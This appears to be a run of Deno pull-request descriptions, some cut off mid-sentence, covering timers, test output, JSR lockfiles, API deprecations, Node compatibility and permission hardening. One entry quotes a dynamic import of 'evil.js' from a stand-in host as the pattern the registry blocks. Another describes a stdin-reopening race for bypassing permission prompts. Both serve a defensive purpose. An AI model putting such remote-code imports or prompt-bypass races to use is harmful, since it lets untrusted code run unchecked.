The diagnostic was incorrect when importing a `.js` file with a
corresponding `.d.ts` file with sloppy imports because it would say to
change the `.js` extension to `.d.ts`, which is incorrect. We might as
well just hide this diagnostic.
Improves #19100
Fixes #20356
Replaces #20428
Changes made in deno_core to support this:
- [x] Errors must be handled in setTimeout callbacks
- [x] Microtask ordering is not-quite-right
- [x] Timer cancellation must be checked right before dispatch
- [x] Timer sanitizer
- [x] Move high-res timer to deno_core
- [x] Timers need opcall tracing
This commit adds "deno add" subcommand that has a basic support for
adding "jsr:" packages to "deno.json" file.
This currently doesn't support "npm:" specifiers and specifying version
constraints.
Some `deno_std` tests were failing to print output that was resolved
after the last test finished. In addition, output printed before tests
began would sometimes appear above the "running X tests ..." line, and
sometimes below it depending on timing.
We now guarantee that all output is flushed before and after tests run,
making the output consistent.
Pre-test and post-test output are captured in `------ pre-test output
------` and `------ post-test output ------` blocks to differentiate
them from the regular output blocks.
Here's an example of a test (that is much noisier than normal, but an
example of what the output will look like):
```
Check ./load_unload.ts
------- pre-test output -------
load
----- output end -----
running 1 test from ./load_unload.ts
test ...
------- output -------
test
----- output end -----
test ... ok ([WILDCARD])
------- post-test output -------
unload
----- output end -----
```
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:
```ts
const data = await import("https://example.com/evil.js");
```
However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
As we add tracing to more types of runtime activity, `--trace-ops` is
less useful of a name. `--trace-leaks` better reflects that this feature
traces both ops and timers, and will eventually trace resource opening
as well.
This keeps `--trace-ops` as an alias for `--trace-leaks`, but prints a
warning to the console suggesting migration to `--trace-leaks`.
One test continues to use `--trace-ops` to test the deprecation warning.

- Removes the origin call, since all origins are the same for an isolate
(ie: the main module)
- Collects the `TestDescription`s and sends them all at the same time
inside of an Arc, allowing us to (later on) re-use these instead of
cloning.
Needs a follow-up pass to remove all the cloning, but that's a thread
that is pretty long to pull

Rewrites the `TestEventSender`:
- Allow for explicit creation of multiple streams. This will allow for
one-std{out,err}-per-worker
- All test events are received along with a worker ID, allowing for
eventual, proper parallel threading of test events.
In theory this should open up proper interleaving of test output,
however that is left for a future PR.
I had some plans for a better performing synchronization primitive, but
the inter-thread communication is tricky. This does, however, speed up
the processing of large numbers of tests 15-25% (possibly even more on
100,000+).

This PR enhances the `deno publish` command to infer dependencies from
`package.json` if present.
Updates dependent crates which includes an investigation fix by @irbull
in Deno's LSP when linting code. Huge thanks to Ian for tracking down
this issue.
Also includes Divy's deno_graph executor change, which reduces memory
usage when loading jsr specifiers and makes them faster.

When using a prefix or suffix containing an invalid filename character,
it's not entirely clear where the errors come from. We make these errors
more consistent across platforms.
In addition, all permission prompts for tempfile and tempdir were
printing the same API name.
We also take the opportunity to make the tempfile random space larger by
2x (using a base32-encoded u64 rather than a hex-encoded u32).
1. Renames zap/fast-check to instead be a `no-slow-types` lint rule.

The format of the sanitizers will change a little bit:
- If multiple async ops leak and traces are on, we repeat the async op
header once per stack trace.
- All leaks are aggregated under a "Leaks detected:" banner as the new
timers are eventually going to be added, and these are neither ops nor
resources.
- `1 async op` is now `An async op`
- If ops and resources leak, we show both (rather than op leaks masking
resources)
Follow-on to https://github.com/denoland/deno/pull/22226
Splitting the sleep and interval ops allows us to detect an interval
timer. We also remove the use of the `op_async_void_deferred` call.
A future PR will be able to split the op sanitizer messages for timers
and intervals.
This changes the lockfile to not store JSR specifiers in the "remote"
section. Instead a single JSR integrity is stored per package in the
lockfile, which is a hash of the version's `x.x.x_meta.json` file, which
contains hashes for every file in the package. The hashes in this file
are then compared against when loading.
Additionally, when using `{ "vendor": true }` in a deno.json, the files
can be modified without causing lockfile errors—the checksum is only
checked when copying into the vendor folder and not afterwards
(eventually we should add this behaviour for non-jsr specifiers as
well). As part of this change, the `vendor` folder creation is not
always automatic in the LSP and running an explicit cache command is
necessary. The code required to track checksums in the LSP would have
been too complex for this PR, so that all goes through deno_graph now.
The vendoring is still automatic when running from the CLI.
Note: tests are not the only part of the codebase that uses `std`. Other
parts, like `tools/`, do too. So, it could be argued that this is a
little misleading. Either way, I'm doing this as discussed with
@mmastrac.
This introduces the `denort` binary - a slim version of deno without
tooling. The binary is used as the default for `deno compile`.
Improves `deno compile` final size by ~2.5x (141 MB -> 61 MB) on Linux
x86_64.
This implementation heavily depends on there being a lockfile, meaning
JSR specifiers will always diagnose as uncached unless it's there. In
practice this affects cases where a `deno.json` isn't being used. Our
NPM specifier support isn't subject to this.
The reason for this is that the version constraint solving code is
currently buried in `deno_graph` and not usable from the LSP, so the
only way to reuse that logic is the solved-version map in the lockfile's
`packages.specifiers`.
This looks like a massive PR, but it's only a move from cli/tests ->
tests, and updates of relative paths for files.
This is the first step towards aggregate all of the integration test
files under tests/, which will lead to a set of integration tests that
can run without the CLI binary being built.
While we could leave these tests under `cli`, it would require us to
keep a more complex directory structure for the various test runners. In
addition, we have a lot of complexity to ignore various test files in
the `cli` project itself (cargo publish exclusion rules, autotests =
false, etc).
And finally, the `tests/` folder will eventually house the `test_ffi`,
`test_napi` and other testing code, reducing the size of the root repo
directory.
For easier review, the extremely large and noisy "move" is in the first
commit (with no changes -- just a move), while the remainder of the
changes to actual files is in the second commit.
Removes the `FileFetcher`'s internal cache because I don't believe it's
necessary (we already cache this kind of stuff in places like deno_graph
or config files in different places). Removing it fixes this bug because
this functionality was already implemented in deno_graph and lowers
memory usage of the CLI a little bit.
This PR separates integration tests from CLI tests into a new project
named `cli_tests`. This is a prerequisite for an integration test runner
that can work with either the CLI binary in the current project, or one
that is built ahead of time.
## Background
Rust does not have the concept of artifact dependencies yet
(https://github.com/rust-lang/cargo/issues/9096). Because of this, the
only way we can ensure a binary is built before running associated tests
is by hanging tests off the crate with the binary itself.
Unfortunately this means that to run those tests, you _must_ build the
binary and in the case of the deno executable that might be a 10 minute
wait in release mode.
## Implementation
To allow for tests to run with and without the requirement that the
binary is up-to-date, we split the integration tests into a project of
their own. As these tests would not require the binary to build itself
before being run as-is, we add a stub integration `[[test]]` target in
the `cli` project that invokes these tests using `cargo test`.
The stub test runner we add has `harness = false` so that we can get
access to a `main` function. This `main` function's sole job is to
`execvp` the command `cargo test -p deno_cli`, effectively "calling"
another cargo target.
This ensures that the deno executable is always correctly rebuilt before
running the stub test runner from `cli`, and gets us closer to be able
to run the entire integration test suite on arbitrary deno executables
(and therefore split the build into multiple phases).
The new `cli_tests` project lives within `cli` to avoid a large PR. In
later PRs, the test data will be split from the `cli` project. As there
are a few thousand files, it'll be better to do this as a completely
separate PR to avoid noise.
- Move a workers test to js_unit_tests and make it work
- (slightly) repair the websocketstream_test and make it a JS unit test.
This test was being ignored and rotted quite a bit, but there's some
value in running as much of it as we can.
- Merge the two websocket test files
This removes the majority of `../../../../../../test_util` relative
imports from the codebase, allowing us to move this code more easily in
the future.
This commit removes some not really necessary FFI tests and in effect
removes them from being accessible from the user code.
This lowers the number of ops accessible to user code to 16.
Hacky quick fix. The real fix is a lot more work to do (move the
`SourceTextInfo` into all the diagnostics in order to make this less
error pone). I've already started on it, but it will require a lot of
downstream create changes.
Closes #22288

This moves the op sanitizer descriptions into Rust code and prepares for
eventual op import from `ext:core/ops`. We cannot import these ops from
`ext:core/ops` as the testing infrastructure ops are not always present.
Changes:
- Op descriptions live in `cli` code and are currently accessible via an
op for the older sanitizer code
- `phf` dep moved to workspace root so we can use it here
- `ops.op_XXX` changed to to `op_XXX` to prepare for op imports later
on.
This commit adds `ppid` getter for `node:process` to improve Node
compatibility one step further.
There is one problem though, which is that `Deno.ppid`, which
`process.ppid` internally calls, is actually of type `bigint` although
it's supposed to be `number`. I filed an issue for this (#22166). For
the time being, explciit type conversion from `bigint` to `number` is
applied to match the Node.js behavior.
Fixes https://github.com/denoland/deno/issues/22180
Matches the Node.js implementation more closely. Removed types, they do
not help just make it harder to debug with stack traces.
This commit adds a list of ops to `runtime/99_main.js` that are
currently relying on getting them from `Deno.core.ops`. All ops that are not
present in the list are removed from `Deno.core.ops` on startup (they are
imported from "virtual op module" - `ext:core/ops`) making them effectively
inaccessible to user code.
This change lowers the number of ops exposed to user code from 650 to
around 260. This number should be gradually decreased in follow-up PRs.
Step 1 of the Rustification of sanitizers, which unblocks the faster
timers.
This replaces the resource sanitizer with a Rust one, using the new APIs
in deno_core.
This commit adds automatic expansion of "imports" field in "deno.json"
file.
If "npm:" or "jsr:" imports are encountered we automatically try to add
a "directory" remapping.
Previously users had to specify entries for both `foo` and `foo/` to be
able to import like
`import { symbol1 } from "foo";` and `import { symbol2 } from
"foo/some_file.js"`:
```
{
"imports": {
"foo": "npm:@foo/bar",
"foo/": "npm:/@foo/bar/",
}
```
With this change users can only add entry for `foo`:
```
{
"imports": {
"foo": "npm:@foo/bar",
}
```
The entry for `foo/` will be provided automatically.
Similarly if user provides "directory" remapping explicitly, we will not
overwrite it.
For removal in Deno v2. There are two issues:
1. Any script being run causes the output of `warnOnDeprecatedApi()` to
be printed, even when none of the `rid` properties are called.
2. `.rid` of these classes is used in multiple tests. I'm not sure how
to account for that. I thought of having `STDIN_RID`, and friends,
constants, whose values can be shared between the tests and the classes
themselves. Should we go with that or do something else?

For removal in Deno v2. I've also updated the deprecation of

This commit deprecates `window` global and adds deprecation
notice on each use of `window`.
We decided to proceed with removal of `window` global variable in Deno
2.0. There's a lot of code
in the wild that uses pattern like this:
```
if (typeof window !== "undefined) {
...
}
```
to check if the code is being run in browser. However, this check passes
fine in Deno and
most often libraries that do this check try to access some browser API
that is not available
in Deno, or use DOM APIs (which are also not available in Deno).
This situation has occurred multiple times already
and it's unfeasible to expect the whole ecosystem to migrate to new
check (and even if that
happened there's a ton of code that's already shipped and won't change).
The migration is straightfoward - replace all usages of `window` with
`globalThis` or `self`.
When Deno encounters use of `window` global it will now issue a warning,
steering users
towards required changes:
```
Warning
├ Use of deprecated "window" API.
│
├ This API will be removed in Deno 2.0. Make sure to upgrade to a stable API before then.
│
├ Suggestion: Use `globalThis` or `self` instead.
│
├ Suggestion: You can provide `window` in the current scope with: `const window = globalThis`.

This change removes the currently deprecated `Deno.cron()` overload with
`options` as a potential last argument.
This might be fine to do now, in a major release, as `Deno.cron()` is an
unstable API. I thought of doing this while working on #22021. If this
is not ready to remove, I can instead set the removal version of this
overload for Deno v2.
Note: this overload was deprecated in Deno v1.38.2 (#21225). So it's
been deprecated for over 2 months.
This change:
1. Sets the removal version for `Deno.RequestEvent`, `Deno.HttpConn` and
`Deno.serveHttp()` for Deno v2. I thought it might be worth calling
`warnOnDeprecatedApi()` within `Deno.Request` and `Deno.HttpConn`
methods, but I thought just having it called within `Deno.serveHttp()`
might be sufficient.
2. Removes some possibly unneeded related benchmarks.
Towards #22021
Closes https://github.com/denoland/deno/issues/21828.
This API is a huge footgun. And given that "Deno.serveHttp" is a
deprecated API that is discouraged to use (use "Deno.serve()"
instead); it makes no sense to keep this API around.
This is a step towards fully migrating to Hyper 1.
Fixes #21928.
We have a code path which empties the extension sources because they're
expected to be pre-executed in the snapshot. Instead of using
conditional compilation for that, we now just check if a snapshot was
provided.
Removes the `dont_use_runtime_snapshot` feature. We didn't allow not
providing a snapshot unless this feature was provided, now we always do.
Adds the `only_snapshotted_js_sources` feature for us to use in CLI.
This asserts that a snapshot is provided and gates the runtime
transpilation code so it isn't included in the executable.
This change takes advantage of explicit resources management for
`FsFile` instances and tweaks documentation to encourage the use of it.

We were missing the `constants` export in the promise `fs` API which is
available in node.
```ts
import { constants, promises } from "node:fs";
import { constants as fsPromiseConstants } from "node:fs/promises";
console.log(constants === promises.constants); // logs: true
console.log(constants === fsPromiseConstants); // logs: true

This commit introduces deprecation warnings for "Deno.*" APIs.
This is gonna be quite noisy, but should tremendously help with user
code updates to ensure
smooth migration to Deno 2.0. The warning is printed at each unique call
site to help quickly
identify where code needs to be adjusted. There's some stack frame
filtering going on to
remove frames that are not useful to the user and would only cause
confusion.
The warning can be silenced using "--quiet" flag or
"DENO_NO_DEPRECATION_WARNINGS" env var.
"Deno.run()" API is now using this warning. Other deprecated APIs will
start warning
in follow up PRs.
Example:
```js
import { runEcho as runEcho2 } from "http://localhost:4545/run/warn_on_deprecated_api/mod.ts";
const p = Deno.run({
cmd: [
Deno.execPath(),
"eval",
"console.log('hello world')",
],
});
await p.status();
p.close();
async function runEcho() {
const p = Deno.run({
cmd: [
Deno.execPath(),
"eval",
"console.log('hello world')",
],
});
await p.status();
p.close();
}
await runEcho();
await runEcho();
for (let i = 0; i < 10; i++) {
await runEcho();
}
await runEcho2();
```

This commit removes the requirement for `--unstable` flag in `deno
jupyter` subcommand. The process will no longer exit if this flag is not
provided, however the subcommand itself is still considered unstable
and might change in the future.
Required for https://github.com/denoland/deno/pull/21452
This commit adds support for [Stage 3 Temporal API
proposal](https://tc39.es/proposal-temporal/docs/).
The API is available when `--unstable-temporal` flag is passed.

This commit removes conditional type-checking of unstable APIs.
Before this commit `deno check` (or any other type-checking command and
the LSP) would error out if there was an unstable API in the code, but not
`--unstable` flag provided.
This situation hinders DX and makes it harder to configure Deno. Failing
during runtime unless `--unstable` flag is provided is enough in this case.
This was incorrectly being stored so the AOT cache for JSR specifiers
wasn't being used. I added a wrapper type to help prevent the API being
used incorrectly.
This commit adds support for "rejectionhandled" Web Event and
"rejectionHandled" Node event.
```js
import process from "node:process";
process.on("rejectionHandled", (promise) => {
console.log("rejectionHandled", reason, promise);
});
window.addEventListener("rejectionhandled", (event) => {
console.log("rejectionhandled", event.reason, event.promise);
});

Ensures the Deno process is brought down even when the runtime gets hung
up on something.
Marvin found that the lsp was running without a parent vscode around so
this is maybe/probably related.
Fixes https://github.com/denoland/deno/issues/21840
The problem was hard to reproduce as its a race condition. I've added a
test that reproduces the problem 1/10 tries. We should move the
idleTimeout handling to Rust (maybe even built into fastwebsocket).
We were calling `expand_glob` on our excludes, which is very expensive
and unnecessary because we can pattern match while traversing instead.
1. Doesn't expand "exclude" globs. Instead pattern matches while walking
the directory.
2. Splits up the "include" into base paths and applicable file patterns.
This causes less pattern matching to occur because we're only pattern
matching on patterns that might match and not ones in completely
unrelated directories.
This defines the removal version of v2 for the following APIs that
favour the Streams API:
* `Deno.copy()`
* `Deno.File`
* `Deno.iter()`
* `Deno.Buffer`
* `Deno.readAll()`
* `Deno.readAllSync()`
* `Deno.writeAll()`
* `Deno.writeAllSync()`
* `Deno.FsWatcher.return()`
Part 1 of a potential 3 part series. Ref #13449
The current implementation passes key material back and forth RustCrypto
group of crates and ring. ring does not implement p521 yet.
This PR adds support for P521 named curve in `generateKey` and
`importKey` where we use RustCrypto. Other parts should be moved over to
the RustGroup group of crates for consistency.
This PR fixes #21658.
- `check` subcommand sees `exclude` option in `deno.json`. When some
paths passed with `check` command listed in `exclude`, they are ignored.
- When some files are listed in `exclude` and imported indirectly among
module graph, they are checked.
Harden the code that does permission checks to protect against
re-opening of stdin.
Code that runs FFI is vulnerable to an attack where fd 0 is closed
during a permission check and re-opened with a file that contains a
positive response (ie: `y` or `A`). While FFI code is dangerous in
general, we can make it more difficult for FFI-enabled code to bypass
additional permission checks.
- Checks to see if the underlying file for stdin has changed from the
start to the end of the permission check (detects races)
- Checks to see if the message is excessively long (lowering the window
for races)
- Checks to see if stdin and stderr are still terminals at the end of
the function (making races more difficult)
Fixes #20516
Follow up to #21747 and #21746
This tackles the last point of #20516 where certain inputs weren't
accepted in the other zlib methods
This adds the `toU8` conversion of `_brotli` to `_zlib.mjs`, when we
create the ZLibBuffer, we'll sanitize the input. I noticed that the
async had no handler for `string` input so I added that as well.
Fixes https://github.com/denoland/deno/issues/21734
Changes:
- Use default encode when options do not provide a encode callback.
- Remove internal TS for `node:querystring`. Its not helping catching
bugs like this because of invalid type assumptions and use of `any`,
more of a maintenance burden.
This fixes point 3 of https://github.com/denoland/deno/issues/20516
This PR creates consistency between the sync and async versions of the
brotli compress where we will always return a buffer like Node.
This fixes point 2 of #20516
This adds a conversion from Dataview/Buffer by returning `obj.buffer`
which can be converted to a `UInt8Array`.
Question: Regarding point 4 of the mentioned issue would it be
appropriate to copy the toU8 helper to the `zlib.mjs` methods?
These tests started failing on CI on Dec 28th, 2023 returning
ENOTFOUND. It's unclear what's going on, since `dig -x
8.8.8.8.in-addr.arpa`.
It needs a deeper investigation, but I want to unblock main branch
in the meantime.
Main change is that:
- "hyper" has been renamed to "hyper_v014" to signal that it's legacy
- "hyper1" has been renamed to "hyper" and should be the default
`opAsync` requires a lookup by name on each async call. This is a
mechanical translation of all opAsync calls to ensureFastOps.
The `opAsync` API on Deno.core will be removed at a later time.
When we migrate to op-import-per-extension, we will want to ensure that
ops have one and only one place where they are imported. This tackles
the ops that are imported via `ensureFastOps`, but does not yet tackle
direct `ops` imports.
Landing ahead of https://github.com/denoland/deno_core/pull/393
Node HTTP/2 was using the default h2 `Bytes` datatype when we can be
making using of `BufView` like we do in `Deno.serve`.
`fetch` and `Deno.serverHttp` can't make use of `BufView` because they
are using `reqwest` which is stuck on hyper 0.x at this time.
This commit adds a way to connect to the TS compiler host that is run
as part of the "deno lsp" subcommand. This can be done by specifying
"DENO_LSP_INSPECTOR" variable.

This PR implements the child_process IPC pipe between parent and child.
The implementation uses Windows named pipes created by parent and passes
the inheritable file handle to the child.
I've also replace parts of the initial implementation which passed the
raw parent fd to JS with resource ids instead. This way no file handle
is exposed to the JS land (both parent and child).
`IpcJsonStreamResource` can stream upto 800MB/s of JSON data on Win 11
AMD Ryzen 7 16GB (without `memchr` vectorization)
`napi_open_handle_scope` was returning a bogus handle_scope and we were
trying to close it in `napi_close_handle_scope`.
This is a bit of a challenge to test, but the following testcase comes
from #21601 and appears to be fixed by this.
```
import { decode } from "https://deno.land/std@0.209.0/encoding/base64.ts";
import sharp from "npm:sharp";

Deno.test("async", async () => {
const id = setTimeout(() => Deno.exit(1), 1000);
await sharp(decode(img)).toBuffer();
await sharp(decode(img)).toBuffer();
clearTimeout(id);
});

This change deprecates `Deno.Reader`, `Deno.ReaderSync`, `Deno.Writer`,
`Deno.WriterSync` and `Deno.Closer` in favour of the [Web Streams
API](https://developer.mozilla.org/en-US/docs/Web/API/Streams_API).
After discussing with Yoshiya, we both thought now might be the right
time to deprecate these interfaces with v2 getting closer.
This PR implements the Node child_process IPC functionality in Deno on
Unix systems.
For `fd > 2` a duplex unix pipe is set up between the parent and child
processes. Currently implements data passing via the channel in the JSON
serialization format.
Part 2 of removing middleware.
This is somewhat awkward because `V8CrossThreadTaskSpawner` requires
tasks to be `Send`, but NAPI makes heavy use of `!Send` pointers. In
addition, Rust causes a closure to be `!Send` if you pull a `!Send`
value out of a struct.

This commit adds a no-op flushHeaders method to the ServerResponse

base.
Fixes #21509
This fixes #21434 for `BroadcastChannel` and `WebSocketStream`.
`--unstable` still enable both, but granular unstable flags now also
work:
* `--unstable-net` now enables `WebSocketStream`.
* `--unstable-broadcast-channel` now enables `BroadcastChannel`.
* Additionally, there are now tests for all granular unstable flags.
Since `unsafe-proto` already had tests, so I didn't add any for this
one.
It also introduces a map to keep track of granular unstable ids without
having to sync multiple places.
This commit brings back usage of primordials in "40_testing.js" by

of ES modules coming from "deno_core".

Adds an `--unstable-sloppy-imports` flag which supports the
following for `file:` specifiers:
* Allows writing `./mod` in a specifier to do extension probing.
- ex. `import { Example } from "./example"` instead of `import { Example
} from "./example.ts"`
* Allows writing `./routes` to do directory extension probing for files
like `./routes/index.ts`
* Allows writing `./mod.js` for *mod.ts* files.
This functionality is **NOT RECOMMENDED** for general use with Deno:
1. It's not as optimal for perf:
https://marvinh.dev/blog/speeding-up-javascript-ecosystem-part-2/
1. It makes tooling in the ecosystem more complex in order to have to
understand this.
1. The "Deno way" is to be explicit about what you're doing. It's better
in the long run.
1. It doesn't work if published to the Deno registry because doing stuff
like extension probing with remote specifiers would be incredibly slow.
This is instead only recommended to help with migrating existing
projects to Deno. For example, it's very useful for getting CJS projects
written with import/export declaration working in Deno without modifying
module specifiers and for supporting TS ESM projects written with
`./mod.js` specifiers.
This feature will output warnings to guide the user towards correcting
their specifiers. Additionally, quick fixes are provided in the LSP to
update these specifiers:
Landing changes required for

- The promiseRejectMacrotaskCallback no longer exists, as this is

- ops.op_dispatch_exception now takes a second parameter: in_promise.
The preferred way to call this op is now reportUnhandledException or
reportUnhandledPromiseRejection.

This commit removes some of the technical debt related
to snapshotting JS code:
- "cli/ops/mod.rs" and "cli/build.rs" no longer define "cli" extension
which was not required anymore
- Cargo features for "deno_runtime" crate have been unified in
"cli/Cargo.toml"
- "cli/build.rs" uses "deno_runtime::snapshot::create_runtime_snapshot"
API
instead of copy-pasting the code
- "cli/js/99_main.js" was completely removed as it's not necessary

This PR causes Deno to include more files in the graph based on how a
template literal looks that's provided to a dynamic import:
```ts
const file = await import(`./dir/${expr}`);
```
In this case, it will search the `dir` directory and descendant
directories for any .js/jsx/etc modules and include them in the graph.
To opt out of this behaviour, move the template literal to a separate
line:
```ts
const specifier = `./dir/${expr}`
const file = await import(specifier);
```
Switch `ext/fetch` over to `resourceForReadableStream` to simplify and
unify implementation with `ext/serve`. This allows us to work in Rust
with resources only.
Two additional changes made to `resourceForReadableStream` were
required:
- Add an optional length to `resourceForReadableStream` which translates
to `size_hint`
- Fix a bug where writing to a closed stream that was full would panic
This commit changes LSP log names by prefixing them, we now have these
prefixes:
- `lsp.*` - requests coming from the client
- `tsc.request.*` - requests coming from clients that are routed to TSC
- `tsc.op.*` - ops called by the TS host
- `tsc.host.*` - requests that call JavaScript runtime that runs
TypeScript compiler host
Additionall `Performance::mark` was split into `Performance::mark` and
`Performance::mark_with_args` to reduce verbosity of code and logs.
This commit removes "ThrottledCancellationToken" in favor of
"CancellationToken".
Since calling into Rust to check if Tokio's cancellation token has
already been canceled is really cheap, there's no need for us to
throttle this check and let TSC burn up CPU with heavy computation.
When an old request is obsoleted while the user is typing, the client
will say so to the server and tower-lsp will drop the future associated
with that request.
This wires that up to the ts server by having any request's token be
cancelled when the surrounding state is dropped.
The self-upgrade feature is undesirable when deno is installed from
(Linux) distribution repository - using a system package manager. This
change will allow package maintainers to build deno with the "upgrade"
subcommand and background check disabled.
When the user runs `deno upgrade <args>` and the upgrade feature is
disabled, it will exit with error message explaining that this deno
binary was built without the upgrade feature.
Note: This patch is already used in the Alpine Linux’s
[deno](https://pkgs.alpinelinux.org/packages?name=deno) package.
What `Deno.ChildProcess` actually implements is `AsyncDisposable`, but the type
declaration says it's `Disposable`. This PR fixes the type declaration to match
the actual implementation.
Issue was main does canary builds, which broke this test because it
didn't handle searching for a canary release. Tested by building as
canary locally.
This PR updates the deprecation notices to point to the same replacement
APIs that the Standard Library points to. I've also tweaked the notices
to be a little more presentable/navigatable.
In particular, a follow-up PR in std will be made that documents the use
of `toArrayBuffer()`.
